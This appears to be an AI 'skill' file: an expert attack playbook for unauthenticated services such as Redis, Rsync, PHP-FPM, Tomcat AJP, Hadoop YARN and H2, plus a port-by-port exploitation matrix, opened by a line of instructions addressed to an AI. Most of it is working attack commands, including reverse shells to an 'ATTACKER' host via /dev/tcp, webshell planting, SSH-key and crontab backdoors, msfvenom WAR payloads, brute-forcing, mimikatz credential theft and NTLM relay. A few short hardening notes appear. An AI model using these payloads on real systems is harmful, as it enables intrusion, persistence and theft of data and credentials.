Unauthorized Access Common Services

SKILL: Unauthorized Access to Common Services — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert techniques for exploiting unauthenticated or weakly authenticated management services. Covers Redis write-to-RCE, Rsync data theft, PHP-FPM code execution, Ghostcat AJP file read, Hadoop YARN job submission, and H2 Console JNDI. These are infrastructure-level findings distinct from web application vulnerabilities.

0. RELATED ROUTING

• ssrf-server-side-request-forgery when these services are reachable via SSRF (e.g., SSRF → Redis)
• jndi-injection when H2 Console or similar accepts JNDI connection strings
• deserialization-insecure when RMI Registry or T3 protocol is exposed
• network-protocol-attacks for layer 2/3 attacks during service enumeration
• reverse-shell-techniques for shell payloads after gaining command execution

Comprehensive Port Reference

Also load PORT_SERVICE_MATRIX.md when you need:

• Full exploitation matrix organized by port number (20+ services)
• Enumeration, brute force, and post-exploitation per service
• Quick triage during nmap/masscan output analysis

---

1. DISCOVERY — PORT SCANNING

nmap -sV -p 6379,873,9000,8009,8088,8082,1099,9200,5984,2375,27017,11211 TARGET

# Key ports:
# 6379  — Redis
# 873   — Rsync
# 9000  — PHP-FPM (FastCGI)
# 8009  — AJP (Tomcat Ghostcat)
# 8088  — Hadoop YARN ResourceManager
# 8082  — H2 Console (or embedded in Spring Boot)
# 1099  — Java RMI Registry
# 9200  — Elasticsearch
# 5984  — CouchDB
# 2375  — Docker API
# 27017 — MongoDB
# 11211 — Memcached

---

2. REDIS (PORT 6379)

Detection

redis-cli -h TARGET ping
# Response: PONG = unauthenticated access confirmed

redis-cli -h TARGET INFO server
# Returns Redis version, OS, config

Write SSH Authorized Keys

# Generate key pair:
ssh-keygen -t rsa -f redis_rsa

# Write public key to Redis, then dump to authorized_keys:
cat redis_rsa.pub | redis-cli -h TARGET -x set ssh_key
redis-cli -h TARGET config set dir /root/.ssh
redis-cli -h TARGET config set dbfilename authorized_keys
redis-cli -h TARGET save

# Connect:
ssh -i redis_rsa root@TARGET

Write Crontab (Reverse Shell)

redis-cli -h TARGET
> set x "\n\n*/1 * * * * bash -i >& /dev/tcp/ATTACKER/4444 0>&1\n\n"
> config set dir /var/spool/cron/
> config set dbfilename root
> save

Write Webshell

redis-cli -h TARGET
> set webshell "<?php system($_GET['cmd']); ?>"
> config set dir /var/www/html/
> config set dbfilename shell.php
> save
# Access: http://TARGET/shell.php?cmd=id

Master-Slave Replication RCE

Use redis-rogue-server to exploit master-slave replication for loading malicious .so module:

python3 redis-rogue-server.py --rhost TARGET --lhost ATTACKER
# Loads module via SLAVEOF → MODULE LOAD → system.exec

Hardening

requirepass STRONG_PASSWORD
bind 127.0.0.1
protected-mode yes
rename-command CONFIG ""
rename-command FLUSHALL ""

---

3. RSYNC (PORT 873)

Detection

rsync TARGET::
# Lists available modules (shares) if anonymous access allowed

rsync -av TARGET::MODULE_NAME /tmp/loot/
# Download entire module contents

Exploitation — Write Crontab

# Create reverse shell cron:
echo '*/1 * * * * bash -i >& /dev/tcp/ATTACKER/4444 0>&1' > /tmp/evil_cron

# Upload to target's crontab (if writable module maps to /etc/ or similar):
rsync -av /tmp/evil_cron TARGET::MODULE/cron.d/backdoor

Hardening

# /etc/rsyncd.conf:
auth users = rsync_user
secrets file = /etc/rsyncd.secrets
list = no
hosts allow = 10.0.0.0/8
read only = yes

---

4. PHP-FPM / FASTCGI (PORT 9000)

Mechanism

PHP-FPM listens for FastCGI requests. If exposed to the network (instead of Unix socket), an attacker can send crafted FastCGI packets to execute arbitrary PHP code.

Exploitation

# Using fcgi_exp or similar tool:
python3 fpm.py TARGET 9000 /var/www/html/index.php -c "<?php system('id'); ?>"

# Key parameters in FastCGI request:
# SCRIPT_FILENAME = path to any existing .php file
# PHP_VALUE = "auto_prepend_file = php://input"  (injects POST body as PHP code)
# PHP_ADMIN_VALUE = "allow_url_include = On"

Key FastCGI Environment Variables for Exploitation

SCRIPT_FILENAME = /var/www/html/index.php   # must point to an existing .php file
PHP_VALUE = auto_prepend_file = php://input  # injects POST body as PHP code
PHP_ADMIN_VALUE = allow_url_include = On     # enables remote inclusion

Via SSRF (gopher)

gopher://TARGET:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00...
# Encoded FastCGI packet
# Tool: Gopherus generates the gopher:// URL
python3 gopherus.py --exploit fastcgi

Hardening

; php-fpm.conf — bind to socket only:
listen = /var/run/php-fpm.sock
; If TCP required, restrict:
listen.allowed_clients = 127.0.0.1

---

5. GHOSTCAT — AJP (PORT 8009) — CVE-2020-1938

Mechanism

Apache JServ Protocol (AJP) is used between reverse proxy and Tomcat. AJP trusts all incoming data — an attacker connecting directly can set javax.servlet.include.request_uri to read arbitrary files from the webapp directory.

File Read

# Using ajpShooter or similar:
python3 ajpShooter.py TARGET 8009 /WEB-INF/web.xml read

# Reads any file within the webapp root:
# /WEB-INF/web.xml          — deployment descriptor
# /WEB-INF/classes/*.class  — compiled Java classes
# /WEB-INF/lib/*.jar        — library JARs

File Include → RCE

If a file upload exists (e.g., uploaded JSP disguised as image), AJP can include it as JSP:

python3 ajpShooter.py TARGET 8009 /uploaded_avatar.txt eval
# If the file contains JSP code, it gets executed

Hardening

<!-- server.xml — disable AJP or add secret: -->
<Connector port="8009" protocol="AJP/1.3" secretRequired="true" secret="STRONG_SECRET"/>
<!-- Or remove the AJP connector entirely -->

---

6. HADOOP YARN RESOURCEMANAGER (PORT 8088)

Detection

curl http://TARGET:8088/cluster
# If accessible → unauthenticated YARN ResourceManager UI

RCE via Application Submission

# Submit a MapReduce application that executes a command:
curl -s -X POST http://TARGET:8088/ws/v1/cluster/apps/new-application
# Returns: {"application-id":"application_xxx_0001"}

curl -s -X POST http://TARGET:8088/ws/v1/cluster/apps \
  -H "Content-Type: application/json" \
  -d '{
    "application-id": "application_xxx_0001",
    "application-name": "test",
    "am-container-spec": {
      "commands": {"command": "/bin/bash -i >& /dev/tcp/ATTACKER/4444 0>&1"}
    },
    "application-type": "YARN"
  }'

Hardening

Enable Kerberos authentication; restrict network access to management ports.

---

7. H2 DATABASE CONSOLE

Detection

H2 Console is often enabled in Spring Boot apps via:

spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true

Access: http://TARGET:PORT/h2-console

JNDI Injection via Connection String

In the H2 Console login form, the JDBC URL field accepts JNDI.

BeanFactory + EL bypass (works on Java 8u252+):

# JDBC URL in login form:
javax.naming.InitialContext

# LDAP response attributes:
javaClassName: javax.el.ELProcessor
javaFactory: org.apache.naming.factory.BeanFactory
forceString: x=eval
x: Runtime.getRuntime().exec("id")

Also see jndi-injection for the full JNDI/BeanFactory exploitation flow.

RCE via RUNSCRIPT

CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { Runtime.getRuntime().exec(cmd); return "ok"; }';
CALL EXEC('id');

---

8. QUICK REFERENCE

# Redis — check auth:
redis-cli -h TARGET ping

# Redis — write webshell:
SET x "<?php system($_GET['c']);?>"
CONFIG SET dir /var/www/html/
CONFIG SET dbfilename shell.php
SAVE

# Rsync — list modules:
rsync TARGET::

# Ghostcat — read web.xml:
python3 ajpShooter.py TARGET 8009 /WEB-INF/web.xml read

# YARN — submit RCE job:
curl -X POST http://TARGET:8088/ws/v1/cluster/apps/new-application

# H2 — RCE via alias:
CREATE ALIAS EXEC AS '...Runtime.exec...'; CALL EXEC('id');

---

9. REVERSE PROXY MISCONFIGURATION

Nginx Off-By-Slash Path Traversal

# Vulnerable configuration:
location /static {
    alias /var/www/static/;
}
# Access: /static../etc/passwd → resolves to /var/www/etc/passwd
# The missing trailing slash on location causes path traversal

# Fix: location /static/ (with trailing slash matching alias)

Nginx Missing Root Location

# If no root location defined and alias is used:
# Attacker may access nginx.conf or other server files
GET /..%2f..%2fetc/nginx/nginx.conf HTTP/1.1

X-Forwarded-For / X-Real-IP Trust

# If backend trusts these headers for IP-based auth:
GET /admin HTTP/1.1
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
True-Client-IP: 127.0.0.1

# May bypass IP whitelist for admin panels

Caddy Template Injection

# Caddy with templates enabled:
# If user input reaches Caddy template rendering:
{{.Req.Host}}          → Information disclosure
{{readFile "/etc/passwd"}}  → Local file read via Go template
# This is essentially a Go template injection through proxy config

Useful Tools

• yandex/gixy — Nginx configuration analyzer
• Raelize/Kyubi — Reverse proxy misconfiguration scanner
• GerbenJavado/bypass-url-parser — URL parser confusion tester

PORT / SERVICE EXPLOITATION MATRIX

Supplementary reference for unauthorized-access-common-services. Organized by port for rapid triage during service enumeration.

---

Port 21 — FTP

# Anonymous login
ftp TARGET
> anonymous / anonymous@

# Enumerate
nmap -sV -p 21 --script=ftp-anon,ftp-bounce,ftp-syst TARGET

# PUT to webroot (if writable + mapped to web directory)
ftp TARGET
> put shell.php

# FTP bounce scan (use FTP server to port scan internal hosts)
nmap -Pn -b anonymous@FTP_SERVER INTERNAL_TARGET

Port 22 — SSH

# Brute force
hydra -l root -P wordlist.txt ssh://TARGET
crackmapexec ssh TARGET -u users.txt -p passwords.txt

# Key reuse (found private key elsewhere)
ssh -i found_key user@TARGET

# Agent forwarding abuse
# If SSH_AUTH_SOCK is set on compromised host:
ssh-add -l    # list forwarded keys
ssh -A user@NEXT_TARGET   # use forwarded key to hop

# Username enumeration (CVE-2018-15473)
python3 ssh_user_enum.py TARGET -u userlist.txt

Port 25 — SMTP

# Open relay test
nmap -p 25 --script smtp-open-relay TARGET

# User enumeration via VRFY/EXPN
smtp-user-enum -M VRFY -U users.txt -t TARGET
smtp-user-enum -M EXPN -U users.txt -t TARGET
smtp-user-enum -M RCPT -U users.txt -t TARGET -D domain.com

# Header injection
# In email form: inject headers via newline
attacker@evil.com%0ACc:victim@target.com

Port 53 — DNS

# Zone transfer
dig axfr @TARGET domain.com
host -l domain.com TARGET

# Subdomain brute force
gobuster dns -d domain.com -w subdomains.txt -r TARGET:53
dnsenum --dnsserver TARGET domain.com

# DNS rebinding
# Bind attacker domain to alternate between ATTACKER_IP and INTERNAL_IP
# Bypass same-origin checks to access internal services

Port 80/443 — HTTP/HTTPS

See web application testing skills:

• injection-checking for input-based attacks
• auth-sec for authentication testing
• file-access-vuln for file operations
• recon-and-methodology for web reconnaissance

Port 88 — Kerberos

# AS-REP Roasting (no pre-auth required accounts)
GetNPUsers.py domain.com/ -usersfile users.txt -dc-ip TARGET -format hashcat
hashcat -m 18200 asrep_hashes.txt wordlist.txt

# Kerberoasting
GetUserSPNs.py domain.com/user:pass -dc-ip TARGET -request
hashcat -m 13100 tgs_hashes.txt wordlist.txt

See active-directory-kerberos-attacks for full Kerberos attack playbook.

Port 110/143 — POP3/IMAP

# Brute force
hydra -l user -P wordlist.txt pop3://TARGET
hydra -l user -P wordlist.txt imap://TARGET

# Manual POP3 login
nc TARGET 110
> USER admin
> PASS password
> LIST
> RETR 1

Port 135 — MSRPC

# Endpoint enumeration
rpcdump.py TARGET
rpcmap.py 'ncacn_ip_tcp:TARGET'

# Remote execution via DCOM
dcomexec.py domain/user:pass@TARGET 'whoami'

# IOXIDResolver — network interface enumeration
IOXIDResolver.py -t TARGET

Port 139/445 — SMB

# Null session enumeration
smbclient -L //TARGET -N
enum4linux -a TARGET
crackmapexec smb TARGET -u '' -p '' --shares

# Share enumeration with creds
smbmap -H TARGET -u user -p pass
crackmapexec smb TARGET -u user -p pass --shares

# EternalBlue (MS17-010)
nmap -p 445 --script smb-vuln-ms17-010 TARGET

# NTLM relay (see network-protocol-attacks)
ntlmrelayx.py -tf targets.txt -smb2support

# PsExec / WMIExec / SMBExec
psexec.py domain/user:pass@TARGET
wmiexec.py domain/user:pass@TARGET
smbexec.py domain/user:pass@TARGET

Port 389/636 — LDAP

# Anonymous bind
ldapsearch -x -H ldap://TARGET -b "DC=domain,DC=com"

# Base DN enumeration
ldapsearch -x -H ldap://TARGET -s base namingcontexts

# Dump all users
ldapsearch -x -H ldap://TARGET -D "user@domain.com" -w pass -b "DC=domain,DC=com" "(objectClass=user)" sAMAccountName

# LDAP injection
*)(uid=*))(|(uid=*
admin)(|(password=*

Port 1433 — MSSQL

# Brute force
hydra -l sa -P wordlist.txt mssql://TARGET
crackmapexec mssql TARGET -u users.txt -p passwords.txt

# xp_cmdshell
mssqlclient.py domain/user:pass@TARGET
SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami

# Linked servers → lateral movement
SQL> SELECT * FROM openquery("LINKED_SERVER", 'select @@servername')
SQL> EXEC ('xp_cmdshell ''whoami''') AT [LINKED_SERVER]

# Credential extraction
SQL> SELECT name,password_hash FROM sys.sql_logins

Port 1521 — Oracle

# TNS listener enumeration
tnscmd10g status -h TARGET
odat sidguesser -s TARGET    # brute force SIDs

# Default SIDs: XE, ORCL, ORCLCDB, PROD

# OS command execution (via Java)
odat java -s TARGET -d SID -U user -P pass --exec "whoami"

# File read/write
odat utlfile -s TARGET -d SID -U user -P pass --getFile /etc passwd

Port 3306 — MySQL

# Brute force
hydra -l root -P wordlist.txt mysql://TARGET

# UDF command execution
mysql> SELECT * FROM mysql.func;   -- check existing UDFs
# Upload UDF .so → CREATE FUNCTION sys_exec RETURNS integer SONAME 'udf.so';
# mysql> SELECT sys_exec('whoami');

# File read
mysql> SELECT LOAD_FILE('/etc/passwd');

# File write (INTO OUTFILE — requires FILE privilege)
mysql> SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

Port 3389 — RDP

# Brute force
hydra -l admin -P wordlist.txt rdp://TARGET
crowbar -b rdp -s TARGET/32 -u admin -C wordlist.txt

# BlueKeep (CVE-2019-0708)
nmap -p 3389 --script rdp-vuln-ms12-020 TARGET

# Session hijacking (if SYSTEM on target)
query user
tscon SESSION_ID /dest:console   # hijack without password (requires SYSTEM)

# RDP credential theft
mimikatz > ts::logonpasswords

Port 5432 — PostgreSQL

# Brute force
hydra -l postgres -P wordlist.txt postgres://TARGET

# COPY command execution
psql -h TARGET -U postgres
postgres=# CREATE TABLE cmd_exec(cmd_output text);
postgres=# COPY cmd_exec FROM PROGRAM 'id';
postgres=# SELECT * FROM cmd_exec;

# Large object file read
postgres=# SELECT lo_import('/etc/passwd');
postgres=# SELECT * FROM pg_largeobject;

# Extension exploitation
postgres=# CREATE EXTENSION dblink;

Port 5985/5986 — WinRM

# Evil-WinRM
evil-winrm -i TARGET -u user -p pass
evil-winrm -i TARGET -u user -H NTLM_HASH

# PowerShell remoting
$cred = Get-Credential
Enter-PSSession -ComputerName TARGET -Credential $cred

# CrackMapExec
crackmapexec winrm TARGET -u user -p pass -x 'whoami'

Port 6379 — Redis

See unauthorized-access-common-services SKILL.md §2 for full Redis exploitation (SSH key write, crontab, webshell, master-slave RCE).

# Quick check
redis-cli -h TARGET ping
redis-cli -h TARGET INFO keyspace

# Module load RCE
redis-cli -h TARGET MODULE LOAD /path/to/evil.so
redis-cli -h TARGET system.exec "id"

Port 8080 — Tomcat / Jenkins

# Tomcat default credentials
# admin:admin, tomcat:tomcat, admin:password, manager:manager
curl -u tomcat:tomcat http://TARGET:8080/manager/html

# WAR deployment for RCE
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f war -o shell.war
curl -u tomcat:tomcat --upload-file shell.war http://TARGET:8080/manager/text/deploy?path=/shell

# Jenkins Groovy console (/script)
def cmd = "whoami".execute()
println cmd.text

Port 9200 — Elasticsearch

# Check for no auth
curl http://TARGET:9200/
curl http://TARGET:9200/_cat/indices?v

# Dump all data
curl http://TARGET:9200/_search?pretty&size=1000

# Script execution (if enabled)
curl -X POST http://TARGET:9200/_search -H 'Content-Type: application/json' -d'
{"query":{"match_all":{}},"script_fields":{"cmd":{"script":"Runtime.getRuntime().exec(\"id\")"}}}'

Port 27017 — MongoDB

# No auth check
mongosh --host TARGET
> show dbs
> use admin
> db.getUsers()

# Dump all collections
mongodump --host TARGET --out /tmp/mongodump/

# SSRF to admin API (MongoDB Atlas / Ops Manager)
# Internal REST API may allow user creation or config changes